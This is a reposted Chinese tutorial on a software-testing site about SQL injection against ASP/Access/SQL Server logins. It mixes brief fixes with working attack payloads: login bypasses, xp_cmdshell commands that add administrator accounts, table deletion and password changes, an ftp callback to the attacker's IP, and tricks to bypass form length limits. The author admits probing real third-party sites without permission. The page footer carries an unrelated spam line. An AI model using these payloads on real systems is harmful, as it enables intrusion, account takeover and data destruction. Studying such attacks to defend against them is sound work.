• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
    • 軟件測試技術
    • 軟件測試博客
    • 軟件測試視頻
    • 開源軟件測試技術
    • 軟件測試論壇
    • 軟件測試沙龍
    • 軟件測試資料下載
    • 軟件測試雜志
    • 軟件測試人才招聘
      暫時沒有公告

    字號: | 推薦給好友 上一篇 | 下一篇

    淺談sql注入式(SQL injection)攻擊與防范

    發布: 2008-8-04 10:13 | 作者: 網絡轉載 | 來源: 測試時代采編 | 查看: 48次 | 進入軟件測試論壇討論

    領測軟件測試網

    沒有系統的學習過asp或者php編程,也沒有系統的學習過access、sqlserver、mysql數據庫,所以我不是一個程序員,雖然經常干一些類似程序員的事情。
    因為要建立自己的站點,3次改版下來,多少也寫了幾千行程序,加上對一些論壇、留言板、文章發布系統的測試,也發現了一些問題,現在與大家探討。
    在寫這篇文章的時候,我除了在本機建立asp+access、asp+sql server測試環境,還在××安全網站、××市人才網、××網絡公司的網站上進行了部分測試,在此謹表示歉意!我是選擇在凌晨2點~3點開始的測試,而且僅限于檢索操作,所以可以肯定的說對貴站幾乎沒有什么影響,用1個小時流量略多換取我給你們的安全報告,我想不會太虧吧,呵呵!
    1、bak文件泄漏asp源代碼
    很多編輯工具,如Editplus、UltraEdit,默認情況下在保存文件的時候,都會自動備份一個.bak文件。如創建或者編輯config.asp文件,則編輯器會自動生成一個config.asp.bak文件,如果沒有刪除該文件,攻擊者可以通過http://www.***.com/config.asp.bak來下載asp源程序。
    可以想象,你的源程序被下載,被攻擊的風險無疑大了很多。而如果是配置文件,呵呵,用戶名、密碼、數據庫名稱/位置……
    解決辦法:要么就直接關閉編輯器的自動備份功能,要么在上傳的時候,刪除所有.bak文件。
    2、身份驗證被繞過
    一般網站有很多頁面是需要身份驗證通過以后才能訪問的,而在這些頁面需要對用戶身份再次進行驗證,但是很多程序員往往忽略了這一點。如果攻擊者知道了這些頁面的路徑和文件名,就可以繞過身份驗證,直接進入到該頁面。如:需要用戶通過login.asp頁面登陸,經過身份驗證才能打開manage.asp頁面。攻擊者可以通過http://www.***.com/manage.asp直接進入管理界面。
    解決辦法:在這些的頁面開頭進行身份確認。如:在身份驗證通過以后傳遞一個session("login")="ok",在manage.asp開頭加入
    以下內容為程序代碼:

    if session("login")<>"ok" then
    response.redirect "login.asp"
    end if


    上面2點說的都是編程的基礎問題,下面就來討論本文的重點,關于sql注入式攻擊與防范。
    3、asp程序數據庫密碼驗證漏洞
    首先,關于request對象,我們知道,如果在form表單中使用get方法傳遞數據時,應該用QueryString集合來檢索表單數據;而使用post方法傳遞數據時,應該用Form集合來檢索表單數據。而更多的程序員為了方便,直接省略集合名稱,使用request("data")來檢索數據,看似簡單,實際上效率很低,而且容易出錯。asp默認搜索集合的順序是QueryString、Form、Cookie、Serverariable,當發現第一個匹配的變量時,就認定是你要訪問的成員。所以建議大家不要采用這種方法,題外話說完,我們轉入正題。
    先來看login.asp文件
    以下內容為程序代碼:

    ……
    <form action="verify.asp" method="post" name="login">
    用戶名<input type=text name=name value="" maxlength="20">
    密碼<input type=password name=pwd value="" maxlength="20">
    <input type=submit name=bt value="確認">
    <input type=reset name=bt value="重置">
    </form>
    ……


    再來看verify.asp文件
    以下內容為程序代碼:

    ……
    dim rs,sql
    dim name,pwd
    name=request.form("name")
    pwd=request.form("pwd")

    if name="" or pwd="" then
    response.redirect "login.asp"
    end if
    ……
    '關于身份驗證
    sql="select * from user where name='"&name&"' and pwd='"&pwd&"'"
    ……


    不要以為沒有人會這樣寫,我見過很多很多,如果你相信我:),看看攻擊者能做什么:
    (1)我們在用戶名位置輸入【admin' or 1='1】,在密碼區輸入【11】。注:內容只有【】內的?纯磗ql會變成什么:
    以下內容為程序代碼:

    sql=select * from user where name='admin' or 1='1' and pwd='11'

    我們知道,or是一個邏輯運算符,在判斷多個條件的時候,只要有一個成立,則等式就返回真,后面的and就不再進行判斷了,也就是說我們繞過了密碼驗證,只要我們知道用戶名就可以登陸該系統。
    (2)我們也可以在用戶名位置輸入【admin' --】,在密碼區輸入【11】。再看看sql:
    以下內容為程序代碼:

    sql=select * from user where name='admin' --' and pasword='11'

    同樣,通過連接符--注釋掉了后面的密碼驗證,對access數據庫無效。
    (3)如果可以通過連接符注釋掉后面的驗證,那么就更有意思了,來看我們能作什么:
    a、在用戶名位置輸入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一個sql用戶
    b、在用戶名位置輸入【admin';exec master.dbo.sp_password null,123456,Cool;--】,給Cool設置密碼為123456
    c、在用戶名位置輸入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,給Cool賦予System Administrator權限
    d、在用戶名位置輸入【admin';exec master.dbo.xp_cmdshell 'net user Cool 123456 /workstations:*
    /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 】,給系統添加一個密碼為123456的帳戶Cool,并設置相關屬性,關于net user命令可以參考這里。
    e、在用戶名位置輸入【admin';exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';--】,把cool用戶添加到管理員組。
    現在覺得恐怖了沒有,當然我還沒說完,實現這些必須是該站點使用sa或者system administrator權限的用戶來連接數據庫,普通的的虛擬空間是不用想了,除非管理員是SB。但是對于那些站點放在自己服務器上的網站,很難說哦,真的很難說,呵呵,我見過N個。
    那如果不是sa,是不是就什么也不能做了,當然不是!只是不能獲得太高權限來控制sql庫和系統了,但是對這個庫,我們還是擁有完整的管理權限。來看看我們能作什么:
    a、輸入【admin';delete user;--】,一旦他的表名就是user,就會刪除user表里所有記錄。夠狠吧!你可千萬別這么做哦!
    b、輸入【admin';insert into user (name,pwd) values ('cool','123456');--】,可以給user表添加一個用戶,當然前提是表名和字段名都要正確。
    c、輸入【admin';update news set pwd='123456' where name='admin';--】,可以修改admin的密碼,當然前提也是表名和字段名都要正確。
    更多的攻擊內容,你可以參考sql語法。
    看來如果不是sa還是比較郁悶的,當然,我們也有一些簡單的方法來判斷網站是否使用sa來連接數據庫。
    a、在cmd中執行nc -l -p 21,監聽本機的21端口;當然也可以采用火墻什么的。
    b、輸入【admin';exec master.dbo.xp_cmdshell 'ftp *.*.*.*'】,其中*代表你的ip地址,如果發現有連接,就可以斷定是使用sa了,而且可以獲得網站數據庫的ip地址,因為有些網站web和sql是放在不同服務器上的;如果沒有連接,則網站使用的是非sa帳戶。
    可能有的朋友已經看出來了,如果網站使用的是sa,我們可以通過頁面從內部發起連接,可以構造ftp腳本,也可以使用tftp來上傳文件,即使有火墻也是枉然。
    也許有的朋友會說,人家在表單里已經這里了最大長度是20,你跟本就輸入不了那么多!沒事,難不倒我們。
    方法一:
    a、打開網站頁面http:\\www.***.com\login.asp,查看源文件,把提交表單部分
    以下內容為程序代碼:

    <form action="verify.asp" method="post" name="login">
    用戶名<input type=text name=name value="" maxlength="20">
    密碼<input type=password name=pwd value="" maxlength="20">
    <input type=submit name=bt value="確認">
    <input type=reset name=bt value="重置">
    </form>

    拷貝出來,存到本機login.htm
    b、修改action為http:\\www.***.com\verify.asp,即:
    以下內容為程序代碼:

    <form action="http:\\www.***.com\verify.asp" method="post" name="login">
    用戶名<input type=text name=name value="" maxlength="20">
    密碼<input type=password name=pwd value="" maxlength="20">
    <input type=submit name=bt value="確認">
    <input type=reset name=bt value="重置">
    </form>


    注意:有的網站這里的action為空,就需要你自己慢慢找找他提交到那里去了,呵呵,我遇到過這種情況,一般來說都是可以找到的。
    c、修改maxlength,加大,再加大,要不就刪除了!
    d、從本地提交變量
    方法二:
    Cool.reg
    9x用戶:
    以下內容為程序代碼:

    REGEDIT4

    [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\給我加大>
    @="c:\\cool.htm"
    "contexts"=dword:00000004


    2k用戶:
    以下內容為程序代碼:

    Windows Registry Editor Version 5.00

    [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\給我加大>
    @="c:\\cool.htm"
    "contexts"=dword:00000004


    Cool.htm
    以下內容為程序代碼:

    <script language=vbs>
    set srcevent = external.menuarguments.event
    set doc=external.menuarguments.document
    set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty )
    if ele.type ="text" or ele.type="password" then
    ele.maxlength=100
    ele.size=100
    end if
    </script>

    延伸閱讀

    文章來源于領測軟件測試網 http://www.kjueaiud.com/

    TAG: Injection sql SQL Sql 攻擊 注入式 injection

    21/212>

    關于領測軟件測試網 | 領測軟件測試網合作伙伴 | 廣告服務 | 投稿指南 | 聯系我們 | 網站地圖 | 友情鏈接
    版權所有(C) 2003-2010 TestAge(領測軟件測試網)|領測國際科技(北京)有限公司|軟件測試工程師培訓網 All Rights Reserved
    北京市海淀區中關村南大街9號北京理工科技大廈1402室 京ICP備2023014753號-2
    技術支持和業務聯系:info@testage.com.cn 電話:010-51297073

    軟件測試 | 領測國際ISTQBISTQB官網TMMiTMMi認證國際軟件測試工程師認證領測軟件測試網

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>